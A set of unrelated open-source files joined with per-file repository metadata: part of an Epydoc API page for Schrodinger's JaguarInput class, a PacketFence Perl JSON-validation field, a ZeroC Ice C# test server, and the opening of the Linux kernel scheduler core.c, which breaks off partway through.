<td><span class="summary-sig"><a href="schrodinger.application.jaguar.input.JaguarInput-class.html#getStructure" class="summary-sig-name">getStructure</a>(<span class="summary-sig-arg">self</span>,
<span class="summary-sig-arg">zmat</span>=<span class="summary-sig-default">0</span>)</span><br />
Return a Structure representation of the specified zmat section.</td>
<td align="right" valign="top">
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><span class="summary-sig"><a href="schrodinger.application.jaguar.input.JaguarInput-class.html#setStructure" class="summary-sig-name">setStructure</a>(<span class="summary-sig-arg">self</span>,
<span class="summary-sig-arg">struct</span>,
<span class="summary-sig-arg">zmat</span>=<span class="summary-sig-default">0</span>)</span><br />
Set one of the zmat sections from the provided Structure (or MMCT
handle).</td>
<td align="right" valign="top">
</td>
</tr>
</table>
</td>
</tr>
<tr class="private">
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><span class="summary-sig"><a href="schrodinger.application.jaguar.input.JaguarInput-class.html#_setCounterpoise" class="summary-sig-name" onclick="show_private();">_setCounterpoise</a>(<span class="summary-sig-arg">self</span>,
<span class="summary-sig-arg">atom</span>,
<span class="summary-sig-arg">value</span>,
<span class="summary-sig-arg">zmat</span>=<span class="summary-sig-default">0</span>)</span><br />
Set the counterpoise status (True or False) for the specified atom.</td>
<td align="right" valign="top">
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td colspan="2" class="summary">
<p class="indent-wrapped-lines"><b>Inherited from <code>object</code></b>:
<code>__delattr__</code>,
<code>__format__</code>,
<code>__getattribute__</code>,
<code>__hash__</code>,
<code>__new__</code>,
<code>__reduce__</code>,
<code>__reduce_ex__</code>,
<code>__repr__</code>,
<code>__setattr__</code>,
<code>__sizeof__</code>,
<code>__str__</code>,
<code>__subclasshook__</code>
</p>
</td>
</tr>
</table>
<!-- ==================== CLASS VARIABLES ==================== -->
<a name="section-ClassVariables"></a>
<table class="summary" border="1" cellpadding="3"
cellspacing="0" width="100%" bgcolor="white">
<tr bgcolor="#70b0f0" class="table-header">
<td colspan="2" class="table-header">
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr valign="top">
<td align="left"><span class="table-header">Class Variables</span></td>
<td align="right" valign="top"
><span class="options">[<a href="#section-ClassVariables"
class="privatelink" onclick="toggle_private();"
>hide private</a>]</span></td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<a name="reload"></a><span class="summary-name">reload</span> = <code title="False">False</code>
</td>
</tr>
<tr>
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<a name="run_kwargs"></a><span class="summary-name">run_kwargs</span> = <code title="{}"><code class="variable-group">{</code><code class="variable-group">}</code></code>
</td>
</tr>
</table>
<!-- ==================== PROPERTIES ==================== -->
<a name="section-Properties"></a>
<table class="summary" border="1" cellpadding="3"
cellspacing="0" width="100%" bgcolor="white">
<tr bgcolor="#70b0f0" class="table-header">
<td colspan="2" class="table-header">
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr valign="top">
<td align="left"><span class="table-header">Properties</span></td>
<td align="right" valign="top"
><span class="options">[<a href="#section-Properties"
class="privatelink" onclick="toggle_private();"
>hide private</a>]</span></td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<a href="schrodinger.application.jaguar.input.JaguarInput-class.html#name" class="summary-name">name</a><br />
Return the name of the job.
</td>
</tr>
<tr>
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<a href="schrodinger.application.jaguar.input.JaguarInput-class.html#restart" class="summary-name">restart</a><br />
Get the restart jobname based on the current name.
</td>
</tr>
<tr>
<td colspan="2" class="summary">
<p class="indent-wrapped-lines"><b>Inherited from <code>object</code></b>:
<code>__class__</code>
</p>
</td>
</tr>
</table>
<!-- ==================== METHOD DETAILS ==================== -->
<a name="section-MethodDetails"></a>
<table class="details" border="1" cellpadding="3"
cellspacing="0" width="100%" bgcolor="white">
<tr bgcolor="#70b0f0" class="table-header">
<td colspan="2" class="table-header">
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr valign="top">
<td align="left"><span class="table-header">Method Details</span></td>
<td align="right" valign="top"
><span class="options">[<a href="#section-MethodDetails"
class="privatelink" onclick="toggle_private();"
>hide private</a>]</span></td>
</tr>
</table>
</td>
</tr>
</table>
<a name="__init__"></a>
<div>
<table class="details" border="1" cellpadding="3"
cellspacing="0" width="100%" bgcolor="white">
<tr><td>
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr valign="top"><td>
<h3 class="epydoc"><span class="sig"><span class="sig-name">__init__</span>(<span class="sig-arg">self</span>,
<span class="sig-arg">input</span>=<span class="sig-default">None</span>,
<span class="sig-arg">name</span>=<span class="sig-default">None</span>,
<span class="sig-arg">handle</span>=<span class="sig-default">None</span>,
<span class="sig-arg">structure</span>=<span class="sig-default">None</span>,
<span class="sig-arg">genkeys</span>=<span class="sig-default">None</span>,
<span class="sig-arg">reload</span>=<span class="sig-default">None</span>,
<span class="sig-arg">run_kwargs</span>=<span class="sig-default">None</span>)</span>
<br /><em class="fname">(Constructor)</em>
</h3>
</td><td align="right" valign="top"
>
</td>
</tr></table>
<pre class="literalblock">
There are three main ways to create a JaguarInput instance:
from a Jaguar input file 'input', an mmjag handle 'handle', or a
Structure instance 'structure'.
The 'input' parameter will provide for initialization and job name
from an existing Jaguar input file. (If no new name is provided,
calling the save() method will overwrite the original file.)
Note that the structure and name parameters will modify the object
status after loading from a file or initialization from a handle has
completed. This can be utilized to get the settings from a Jaguar
input file but replace the geometry for a new calculation.
Parameters
input (str)
A jaguar input file; a default name will be derived from the
input value.
name (str)
A jaguar job name that will override the name derived from
'input'.
handle (int)
An mmjag handle, pointing to an existing mmjag instance in
memory.
structure (schrodinger.structure.Structure)
A structure that will populate a new mmjag instance. If
specified with 'input' or 'handle' it will replace any structure
provided by them.
genkeys (mapping)
A dictionary of keyword/value pairs to set in the input &gen
section. If keywords are specified in this mapping and the file,
the genkeys value will be used.
reload (bool)
Specifies whether to reload the job from an output file in the
run() method. Default value is False, but can be modified by
setting JaguarInput.reload to a different value.
run_kwargs (mapping)
The run_kwargs dictionary provides default keyword settings for
the run function that is called from the launch and run methods.
Default is to set no defaults, but this can be modified by
setting JaguarInput.run_kwargs to a different value.
</pre>
<dl class="fields">
<dt>Overrides:
object.__init__
</dt>
</dl>
</td></tr></table>
</div>
<a name="launch"></a>
<div>
<table class="details" border="1" cellpadding="3"
cellspacing="0" width="100%" bgcolor="white">
<tr><td>
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr valign="top"><td>
<h3 class="epydoc"><span class="sig"><span class="sig-name">launch</span>(<span class="sig-arg">self</span>,
<span class="sig-arg">*args</span>,
<span class="sig-arg">**kwargs</span>)</span>
</h3>
</td><td align="right" valign="top"
>
</td>
</tr></table>
<p>Save the file and launch a job. Returns a jobcontrol.Job object.</p>
<p>Uses the class run_kwargs value as base for keyword arguments to the
run function.</p>
<dl class="fields">
</dl>
</td></tr></table>
</div>
<a name="run"></a>
<div>
<table class="details" border="1" cellpadding="3"
cellspacing="0" width="100%" bgcolor="white">
<tr><td>
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr valign="top"><td>
<h3 class="epydoc"><span class="sig"><span class="sig-name">run</span>(<span class="sig-arg">self</span>,
<span class="sig-arg">**kwargs</span>)</span>
</h3>
</td><td align="right" valign="top"
>
</td>
</tr></table>
<p>Save the file and launch a job with the wait option. Returns a
JaguarOutput object. Raises an exception if the job failed.</p>
<p>Set the class (or instance) attribute reload to True to load existing
output files of the same name.</p>
<dl class="fields">
</dl>
</td></tr></table>
</div>
<a name="_setNameFile"></a>
<div class="private">
<table class="details" border="1" cellpadding="3"
cellspacing="0" width="100%" bgcolor="white">
<tr><td>
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr valign="top"><td>
<h3 class="epydoc"><span class="sig"><span class="sig-name">_setNameFile</span>(<span class="sig-arg">self</span>,
<span class="sig-arg">input</span>)</span>
</h3>
</td><td align="right" valign="top"
>
</td>
</tr></table>
<p>Set the name and file properties from a named input file or
jobname.</p>
<p>This method keeps the filename and jobname in sync.</p>
<dl class="fields">
</dl>
</td></tr></table>
</div>
<a name="getValue"></a>
<div>
<table class="details" border="1" cellpadding="3"
cellspacing="0" width="100%" bgcolor="white">
<tr><td>
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr valign="top"><td>
<h3 class="epydoc"><span class="sig"><span class="sig-name">getValue</span>(<span class="sig-arg">self</span>,
<span class="sig-arg">key</span>)</span>
</h3>
</td><td align="right" valign="top"
>
</td>
</tr></table>
<p>Return the &gen section value for keyword 'key'.</p>
<p>The return type is as defined by mmjag_key_type().</p>
<dl class="fields">
</dl>
</td></tr></table>
</div>
<a name="setValue"></a>
<div>
<table class="details" border="1" cellpadding="3"
cellspacing="0" width="100%" bgcolor="white">
<tr><td>
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr valign="top"><td>
<h3 class="epydoc"><span class="sig"><span class="sig-name">setValue</span>(<span class="sig-arg">self</span>,
<span class="sig-arg">key</span>,
<span class="sig-arg">value</span>)</span>
</h3>
</td><td align="right" valign="top"
>
</td>
</tr></table>
<p>Set the &gen section keyword 'key' to the value provided.</p>
<p>If value is None, the keyword will be unset.</p>
<dl class="fields">
</dl>
</td></tr></table>
</div>
<a name="setValues"></a>
<div>
<table class="details" border="1" cellpadding="3"
cellspacing="0" width="100%" bgcolor="white">
<tr><td>
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr valign="top"><td>
<h3 class="epydoc"><span class="sig"><span class="sig-name">setValues</span>(<span class="sig-arg">self</span>,
<span class="sig-arg">dict_</span>)</span>
</h3>
</td><td align="right" valign="top"
>
</td>
</tr></table>
<p>Set multiple &gen section keywords from the provided dictionary
'dict_'.</p>
<p>Note that one easy way to specify the dict_ argument is via the
"dict(basis='6-31g**', igeopt=1)" syntax for constructing a
dictionary.</p>
<dl class="fields">
</dl>
</td></tr></table>
</div>
<a name="writeMaefile"></a>
<div>
<table class="details" border="1" cellpadding="3"
cellspacing="0" width="100%" bgcolor="white">
<tr><td>
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr valign="top"><td>
<h3 class="epydoc"><span class="sig"><span class="sig-name">writeMaefile</span>(<span class="sig-arg">self</span>,
<span class="sig-arg">filename</span>=<span class="sig-default">None</span>,
<span class="sig-arg">struct</span>=<span class="sig-default">None</span>)</span>
</h3>
</td><td align="right" valign="top"
>
</td>
</tr></table>
<p>Write an associated .mae file and set the MAEFILE directive. If no
name is provided, use jobname.mae. If no struct is provided, use
self.getStructure().</p>
<p>If an absolute filename is not provided but the input file is known,
write the mae file relative to the input file.</p>
<dl class="fields">
</dl>
</td></tr></table>
</div>
<a name="getStructure"></a>
<div>
<table class="details" border="1" cellpadding="3"
cellspacing="0" width="100%" bgcolor="white">
<tr><td>
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr valign="top"><td>
<h3 class="epydoc"><span class="sig"><span class="sig-name">getStructure</span>(<span class="sig-arg">self</span>,
<span class="sig-arg">zmat</span>=<span class="sig-default">0</span>)</span>
</h3>
</td><td align="right" valign="top"
>
</td>
</tr></table>
<pre class="literalblock">
Return a Structure representation of the specified zmat section.
Note that if the JaguarInput instance was created from a Jaguar
input file that has no associated Maestro file (MAEFILE), the Lewis
structure is determined automatically based on atom distances.
Parameters
zmat (mmjag enum)
The zmat to return (MMJAG_ZMAT1, MMJAG_ZMAT2, or MMJAG_ZMAT3).
</pre>
<dl class="fields">
</dl>
</td></tr></table>
</div>
<a name="setStructure"></a>
<div>
<table class="details" border="1" cellpadding="3"
cellspacing="0" width="100%" bgcolor="white">
<tr><td>
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr valign="top"><td>
<h3 class="epydoc"><span class="sig"><span class="sig-name">setStructure</span>(<span class="sig-arg">self</span>,
<span class="sig-arg">struct</span>,
<span class="sig-arg">zmat</span>=<span class="sig-default">0</span>)</span>
</h3>
</td><td align="right" valign="top"
>
</td>
</tr></table>
<pre class="literalblock">
Set one of the zmat sections from the provided Structure (or MMCT
handle).
Calling this method will update the values of molchg and
multip. molchg will be consistent with the sum of formal
charges in the provided CT, while multip will be set according
to the CT-level i_m_Spin_multiplicity property.
Parameters
struct (schrodinger.structure.Structure)
The structure to use for setting.
zmat (mmjag enum)
The zmat to set (MMJAG_ZMAT1, MMJAG_ZMAT2, or MMJAG_ZMAT3).
</pre>
<dl class="fields">
</dl>
</td></tr></table>
</div>
<a name="_setCounterpoise"></a>
<div class="private">
<table class="details" border="1" cellpadding="3"
cellspacing="0" width="100%" bgcolor="white">
<tr><td>
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr valign="top"><td>
<h3 class="epydoc"><span class="sig"><span class="sig-name">_setCounterpoise</span>(<span class="sig-arg">self</span>,
<span class="sig-arg">atom</span>,
<span class="sig-arg">value</span>,
<span class="sig-arg">zmat</span>=<span class="sig-default">0</span>)</span>
</h3>
</td><td align="right" valign="top"
>
</td>
</tr></table>
<pre class="literalblock">
Set the counterpoise status (True or False) for the specified atom.
Parameters
atom (int)
The index of the atom to modify.
value (bool)
Use True to make it counterpoise, False to make it real.
zmat (mmjag enum)
The zmatrix to modify.
</pre>
<dl class="fields">
</dl>
</td></tr></table>
</div>
<br />
<!-- ==================== PROPERTY DETAILS ==================== -->
<a name="section-PropertyDetails"></a>
<table class="details" border="1" cellpadding="3"
cellspacing="0" width="100%" bgcolor="white">
<tr bgcolor="#70b0f0" class="table-header">
<td colspan="2" class="table-header">
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr valign="top">
<td align="left"><span class="table-header">Property Details</span></td>
<td align="right" valign="top"
><span class="options">[<a href="#section-PropertyDetails"
class="privatelink" onclick="toggle_private();"
>hide private</a>]</span></td>
</tr>
</table>
</td>
</tr>
</table>
<a name="name"></a>
<div>
<table class="details" border="1" cellpadding="3"
cellspacing="0" width="100%" bgcolor="white">
<tr><td>
<h3 class="epydoc">name</h3>
<p>Return the name of the job.</p>
<dl class="fields">
<dt>Get Method:</dt>
<dd class="value"><span class="summary-sig"><a href="schrodinger.application.jaguar.input.JaguarInput-class.html#_getName" class="summary-sig-name" onclick="show_private();">_getName</a>(<span class="summary-sig-arg">self</span>)</span>
- Return the name of the job.
</dd>
<dt>Set Method:</dt>
<dd class="value"><span class="summary-sig"><a href="schrodinger.application.jaguar.input.JaguarInput-class.html#_setName" class="summary-sig-name" onclick="show_private();">_setName</a>(<span class="summary-sig-arg">self</span>,
<span class="summary-sig-arg">name</span>)</span>
- Set the name of the job and update the filename.
</dd>
<dt>Delete Method:</dt>
<dd class="value"><table><tr><td><pre class="variable">
<code class="variable-quote">'</code><code class="variable-string">Set the jobname; also updates the filename based on the jobname.</code><code class="variable-quote">'</code>
</pre></td></tr></table>
</dd>
</dl>
</td></tr></table>
</div>
<a name="restart"></a>
<div>
<table class="details" border="1" cellpadding="3"
cellspacing="0" width="100%" bgcolor="white">
<tr><td>
<h3 class="epydoc">restart</h3>
<p>Get the restart jobname based on the current name.</p>
<dl class="fields">
<dt>Get Method:</dt>
<dd class="value"><span class="summary-sig"><a href="schrodinger.application.jaguar.input.JaguarInput-class.html#_getRestart" class="summary-sig-name" onclick="show_private();">_getRestart</a>(<span class="summary-sig-arg">self</span>)</span>
- Get the restart name associated with the input file.
</dd>
</dl>
</td></tr></table>
</div>
<br />
<!-- ==================== NAVIGATION BAR ==================== -->
<table class="navbar" border="0" width="100%" cellpadding="0"
bgcolor="#a0c0ff" cellspacing="0">
<tr valign="middle">
<!-- Home link -->
<th> <a
href="schrodinger-module.html">Home</a> </th>
<!-- Tree link -->
<th> <a
href="module-tree.html">Trees</a> </th>
<!-- Index link -->
<th> <a
href="identifier-index.html">Indices</a> </th>
<!-- Help link -->
<th> <a
href="help.html">Help</a> </th>
<!-- Project homepage -->
<th class="navbar" align="right" width="100%">
<table border="0" cellpadding="0" cellspacing="0">
<tr><th class="navbar" align="center"
>Suite 2012 Schrodinger Python API</th>
</tr></table></th>
</tr>
</table>
<table border="0" cellpadding="0" cellspacing="0" width="100%%">
<tr>
<td align="left" class="footer">
Generated by Epydoc 3.0.1 on Tue Sep 25 02:23:03 2012
</td>
<td align="right" class="footer">
<a target="mainFrame" href="http://epydoc.sourceforge.net"
>http://epydoc.sourceforge.net</a>
</td>
</tr>
</table>
<script type="text/javascript">
<!--
// Private objects are initially displayed (because if
// javascript is turned off then we want them to be
// visible); but by default, we want to hide them. So hide
// them unless we have a cookie that says to show them.
checkCookie();
// -->
</script>
</body>
</html>
|
platinhom/ManualHom
|
Schrodinger/Schrodinger_2012_docs/python_api/api/schrodinger.application.jaguar.input.JaguarInput-class.html
|
HTML
|
gpl-2.0
| 42,319
|
package pfappserver::Form::Field::JSON;
=head1 NAME
pfappserver::Form::Field::JSON -
=head1 DESCRIPTION
pfappserver::Form::Field::JSON
=cut
use strict;
use warnings;
use HTML::FormHandler::Moose;
extends 'HTML::FormHandler::Field::Text';
use JSON::MaybeXS qw(decode_json);
sub validate {
my ($self) = @_;
my $json = $self->value;
eval {
decode_json($json)
};
if ($@) {
$self->add_error($@);
}
}
=head1 AUTHOR
Inverse inc. <info@inverse.ca>
=head1 COPYRIGHT
Copyright (C) 2005-2022 Inverse inc.
=head1 LICENSE
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301,
USA.
=cut
1;
|
inverse-inc/packetfence
|
html/pfappserver/lib/pfappserver/Form/Field/JSON.pm
|
Perl
|
gpl-2.0
| 1,254
|
// **********************************************************************
//
// Copyright (c) 2003-2013 ZeroC, Inc. All rights reserved.
//
// This copy of Ice is licensed to you under the terms described in the
// ICE_LICENSE file included in this distribution.
//
// **********************************************************************
using System;
using System.Diagnostics;
using System.Reflection;
[assembly: CLSCompliant(true)]
[assembly: AssemblyTitle("IceTest")]
[assembly: AssemblyDescription("Ice test")]
[assembly: AssemblyCompany("ZeroC, Inc.")]
public class ServantLocatorI : Ice.ServantLocator
{
public ServantLocatorI(bool async)
{
if(async)
{
_blobject = new BlobjectAsyncI();
}
else
{
_blobject = new BlobjectI();
}
}
public Ice.Object
locate(Ice.Current current, out System.Object cookie)
{
cookie = null;
return _blobject;
}
public void
finished(Ice.Current current, Ice.Object servant, System.Object cookie)
{
}
public void
deactivate(string category)
{
}
private Ice.Object _blobject;
}
public class Server
{
public static int run(string[] args, Ice.Communicator communicator)
{
bool async = false;
for(int i = 0; i < args.Length; ++i)
{
if(args[i].Equals("--async"))
{
async = true;
}
}
communicator.getProperties().setProperty("TestAdapter.Endpoints", "default -p 12010:udp");
Ice.ObjectAdapter adapter = communicator.createObjectAdapter("TestAdapter");
adapter.addServantLocator(new ServantLocatorI(async), "");
adapter.activate();
communicator.waitForShutdown();
return 0;
}
public static int Main(string[] args)
{
int status = 0;
Ice.Communicator communicator = null;
try
{
Ice.InitializationData initData = new Ice.InitializationData();
initData.properties = Ice.Util.createProperties(ref args);
communicator = Ice.Util.initialize(ref args, initData);
status = run(args, communicator);
}
catch(System.Exception ex)
{
Console.Error.WriteLine(ex);
status = 1;
}
if(communicator != null)
{
try
{
communicator.destroy();
}
catch(Ice.LocalException ex)
{
Console.Error.WriteLine(ex);
status = 1;
}
}
return status;
}
}
|
sbesson/zeroc-ice
|
cs/test/Ice/invoke/Server.cs
|
C#
|
gpl-2.0
| 2,654
|
/*
* kernel/sched/core.c
*
* Kernel scheduler and related syscalls
*
* Copyright (C) 1991-2002 Linus Torvalds
*
* 1996-12-23 Modified by Dave Grothe to fix bugs in semaphores and
* make semaphores SMP safe
* 1998-11-19 Implemented schedule_timeout() and related stuff
* by Andrea Arcangeli
* 2002-01-04 New ultra-scalable O(1) scheduler by Ingo Molnar:
* hybrid priority-list and round-robin design with
* an array-switch method of distributing timeslices
* and per-CPU runqueues. Cleanups and useful suggestions
* by Davide Libenzi, preemptible kernel bits by Robert Love.
* 2003-09-03 Interactivity tuning by Con Kolivas.
* 2004-04-02 Scheduler domains code by Nick Piggin
* 2007-04-15 Work begun on replacing all interactivity tuning with a
* fair scheduling design by Con Kolivas.
* 2007-05-05 Load balancing (smp-nice) and other improvements
* by Peter Williams
* 2007-05-06 Interactivity improvements to CFS by Mike Galbraith
* 2007-07-01 Group scheduling enhancements by Srivatsa Vaddagiri
* 2007-11-29 RT balancing improvements by Steven Rostedt, Gregory Haskins,
* Thomas Gleixner, Mike Kravetz
*/
#include <linux/mm.h>
#include <linux/module.h>
#include <linux/nmi.h>
#include <linux/init.h>
#include <linux/uaccess.h>
#include <linux/highmem.h>
#include <asm/mmu_context.h>
#include <linux/interrupt.h>
#include <linux/capability.h>
#include <linux/completion.h>
#include <linux/kernel_stat.h>
#include <linux/debug_locks.h>
#include <linux/perf_event.h>
#include <linux/security.h>
#include <linux/notifier.h>
#include <linux/profile.h>
#include <linux/freezer.h>
#include <linux/vmalloc.h>
#include <linux/blkdev.h>
#include <linux/delay.h>
#include <linux/pid_namespace.h>
#include <linux/smp.h>
#include <linux/threads.h>
#include <linux/timer.h>
#include <linux/rcupdate.h>
#include <linux/cpu.h>
#include <linux/cpuset.h>
#include <linux/percpu.h>
#include <linux/proc_fs.h>
#include <linux/seq_file.h>
#include <linux/sysctl.h>
#include <linux/syscalls.h>
#include <linux/times.h>
#include <linux/tsacct_kern.h>
#include <linux/kprobes.h>
#include <linux/delayacct.h>
#include <linux/unistd.h>
#include <linux/pagemap.h>
#include <linux/hrtimer.h>
#include <linux/tick.h>
#include <linux/debugfs.h>
#include <linux/ctype.h>
#include <linux/ftrace.h>
#include <linux/slab.h>
#include <linux/init_task.h>
#include <linux/binfmts.h>
#include <linux/cpufreq.h>
#include <asm/switch_to.h>
#include <asm/tlb.h>
#include <asm/irq_regs.h>
#include <asm/mutex.h>
#ifdef CONFIG_PARAVIRT
#include <asm/paravirt.h>
#endif
#include "sched.h"
#include "../workqueue_sched.h"
#include "../smpboot.h"
#define CREATE_TRACE_POINTS
#include <trace/events/sched.h>
ATOMIC_NOTIFIER_HEAD(migration_notifier_head);
void start_bandwidth_timer(struct hrtimer *period_timer, ktime_t period)
{
unsigned long delta;
ktime_t soft, hard, now;
for (;;) {
if (hrtimer_active(period_timer))
break;
now = hrtimer_cb_get_time(period_timer);
hrtimer_forward(period_timer, now, period);
soft = hrtimer_get_softexpires(period_timer);
hard = hrtimer_get_expires(period_timer);
delta = ktime_to_ns(ktime_sub(hard, soft));
__hrtimer_start_range_ns(period_timer, soft, delta,
HRTIMER_MODE_ABS_PINNED, 0);
}
}
DEFINE_MUTEX(sched_domains_mutex);
DEFINE_PER_CPU_SHARED_ALIGNED(struct rq, runqueues);
#ifdef CONFIG_INTELLI_PLUG
DEFINE_PER_CPU_SHARED_ALIGNED(struct nr_stats_s, runqueue_stats);
#endif
static void update_rq_clock_task(struct rq *rq, s64 delta);
void update_rq_clock(struct rq *rq)
{
s64 delta;
if (rq->skip_clock_update > 0)
return;
delta = sched_clock_cpu(cpu_of(rq)) - rq->clock;
rq->clock += delta;
update_rq_clock_task(rq, delta);
}
/*
* Debugging: various feature bits
*/
#define SCHED_FEAT(name, enabled) \
(1UL << __SCHED_FEAT_##name) * enabled |
const_debug unsigned int sysctl_sched_features =
#include "features.h"
0;
#undef SCHED_FEAT
#ifdef CONFIG_SCHED_DEBUG
#define SCHED_FEAT(name, enabled) \
#name ,
static __read_mostly char *sched_feat_names[] = {
#include "features.h"
NULL
};
#undef SCHED_FEAT
static int sched_feat_show(struct seq_file *m, void *v)
{
int i;
for (i = 0; i < __SCHED_FEAT_NR; i++) {
if (!(sysctl_sched_features & (1UL << i)))
seq_puts(m, "NO_");
seq_printf(m, "%s ", sched_feat_names[i]);
}
seq_puts(m, "\n");
return 0;
}
#ifdef HAVE_JUMP_LABEL
#define jump_label_key__true STATIC_KEY_INIT_TRUE
#define jump_label_key__false STATIC_KEY_INIT_FALSE
#define SCHED_FEAT(name, enabled) \
jump_label_key__##enabled ,
struct static_key sched_feat_keys[__SCHED_FEAT_NR] = {
#include "features.h"
};
#undef SCHED_FEAT
static void sched_feat_disable(int i)
{
if (static_key_enabled(&sched_feat_keys[i]))
static_key_slow_dec(&sched_feat_keys[i]);
}
static void sched_feat_enable(int i)
{
if (!static_key_enabled(&sched_feat_keys[i]))
static_key_slow_inc(&sched_feat_keys[i]);
}
#else
static void sched_feat_disable(int i) { };
static void sched_feat_enable(int i) { };
#endif /* HAVE_JUMP_LABEL */
static ssize_t
sched_feat_write(struct file *filp, const char __user *ubuf,
size_t cnt, loff_t *ppos)
{
char buf[64];
char *cmp;
int neg = 0;
int i;
if (cnt > 63)
cnt = 63;
if (copy_from_user(&buf, ubuf, cnt))
return -EFAULT;
buf[cnt] = 0;
cmp = strstrip(buf);
if (strncmp(cmp, "NO_", 3) == 0) {
neg = 1;
cmp += 3;
}
for (i = 0; i < __SCHED_FEAT_NR; i++) {
if (strcmp(cmp, sched_feat_names[i]) == 0) {
if (neg) {
sysctl_sched_features &= ~(1UL << i);
sched_feat_disable(i);
} else {
sysctl_sched_features |= (1UL << i);
sched_feat_enable(i);
}
break;
}
}
if (i == __SCHED_FEAT_NR)
return -EINVAL;
*ppos += cnt;
return cnt;
}
static int sched_feat_open(struct inode *inode, struct file *filp)
{
return single_open(filp, sched_feat_show, NULL);
}
static const struct file_operations sched_feat_fops = {
.open = sched_feat_open,
.write = sched_feat_write,
.read = seq_read,
.llseek = seq_lseek,
.release = single_release,
};
static __init int sched_init_debug(void)
{
debugfs_create_file("sched_features", 0644, NULL, NULL,
&sched_feat_fops);
return 0;
}
late_initcall(sched_init_debug);
#endif /* CONFIG_SCHED_DEBUG */
/*
* Number of tasks to iterate in a single balance run.
* Limited because this is done with IRQs disabled.
*/
const_debug unsigned int sysctl_sched_nr_migrate = 32;
/*
* period over which we average the RT time consumption, measured
* in ms.
*
* default: 1s
*/
const_debug unsigned int sysctl_sched_time_avg = MSEC_PER_SEC;
/*
* period over which we measure -rt task cpu usage in us.
* default: 1s
*/
unsigned int sysctl_sched_rt_period = 1000000;
__read_mostly int scheduler_running;
/*
* part of the period that we allow rt tasks to run in us.
* default: 0.95s
*/
int sysctl_sched_rt_runtime = 950000;
/*
* Maximum possible frequency across all cpus. Task demand and cpu
* capacity (cpu_power) metrics could be scaled in reference to it.
*/
static unsigned int max_possible_freq = 1;
/*
* __task_rq_lock - lock the rq @p resides on.
*/
static inline struct rq *__task_rq_lock(struct task_struct *p)
__acquires(rq->lock)
{
struct rq *rq;
lockdep_assert_held(&p->pi_lock);
for (;;) {
rq = task_rq(p);
raw_spin_lock(&rq->lock);
if (likely(rq == task_rq(p)))
return rq;
raw_spin_unlock(&rq->lock);
}
}
/*
* task_rq_lock - lock p->pi_lock and lock the rq @p resides on.
*/
static struct rq *task_rq_lock(struct task_struct *p, unsigned long *flags)
__acquires(p->pi_lock)
__acquires(rq->lock)
{
struct rq *rq;
for (;;) {
raw_spin_lock_irqsave(&p->pi_lock, *flags);
rq = task_rq(p);
raw_spin_lock(&rq->lock);
if (likely(rq == task_rq(p)))
return rq;
raw_spin_unlock(&rq->lock);
raw_spin_unlock_irqrestore(&p->pi_lock, *flags);
}
}
static void __task_rq_unlock(struct rq *rq)
__releases(rq->lock)
{
raw_spin_unlock(&rq->lock);
}
static inline void
task_rq_unlock(struct rq *rq, struct task_struct *p, unsigned long *flags)
__releases(rq->lock)
__releases(p->pi_lock)
{
raw_spin_unlock(&rq->lock);
raw_spin_unlock_irqrestore(&p->pi_lock, *flags);
}
/*
* this_rq_lock - lock this runqueue and disable interrupts.
*/
static struct rq *this_rq_lock(void)
__acquires(rq->lock)
{
struct rq *rq;
local_irq_disable();
rq = this_rq();
raw_spin_lock(&rq->lock);
return rq;
}
#ifdef CONFIG_SCHED_HRTICK
/*
* Use HR-timers to deliver accurate preemption points.
*
* Its all a bit involved since we cannot program an hrt while holding the
* rq->lock. So what we do is store a state in in rq->hrtick_* and ask for a
* reschedule event.
*
* When we get rescheduled we reprogram the hrtick_timer outside of the
* rq->lock.
*/
static void hrtick_clear(struct rq *rq)
{
if (hrtimer_active(&rq->hrtick_timer))
hrtimer_cancel(&rq->hrtick_timer);
}
/*
* High-resolution timer tick.
* Runs from hardirq context with interrupts disabled.
*/
static enum hrtimer_restart hrtick(struct hrtimer *timer)
{
struct rq *rq = container_of(timer, struct rq, hrtick_timer);
WARN_ON_ONCE(cpu_of(rq) != smp_processor_id());
raw_spin_lock(&rq->lock);
update_rq_clock(rq);
rq->curr->sched_class->task_tick(rq, rq->curr, 1);
raw_spin_unlock(&rq->lock);
return HRTIMER_NORESTART;
}
#ifdef CONFIG_SMP
/*
* called from hardirq (IPI) context
*/
static void __hrtick_start(void *arg)
{
struct rq *rq = arg;
struct hrtimer *timer = &rq->hrtick_timer;
ktime_t soft, hard;
unsigned long delta;
soft = hrtimer_get_softexpires(timer);
hard = hrtimer_get_expires(timer);
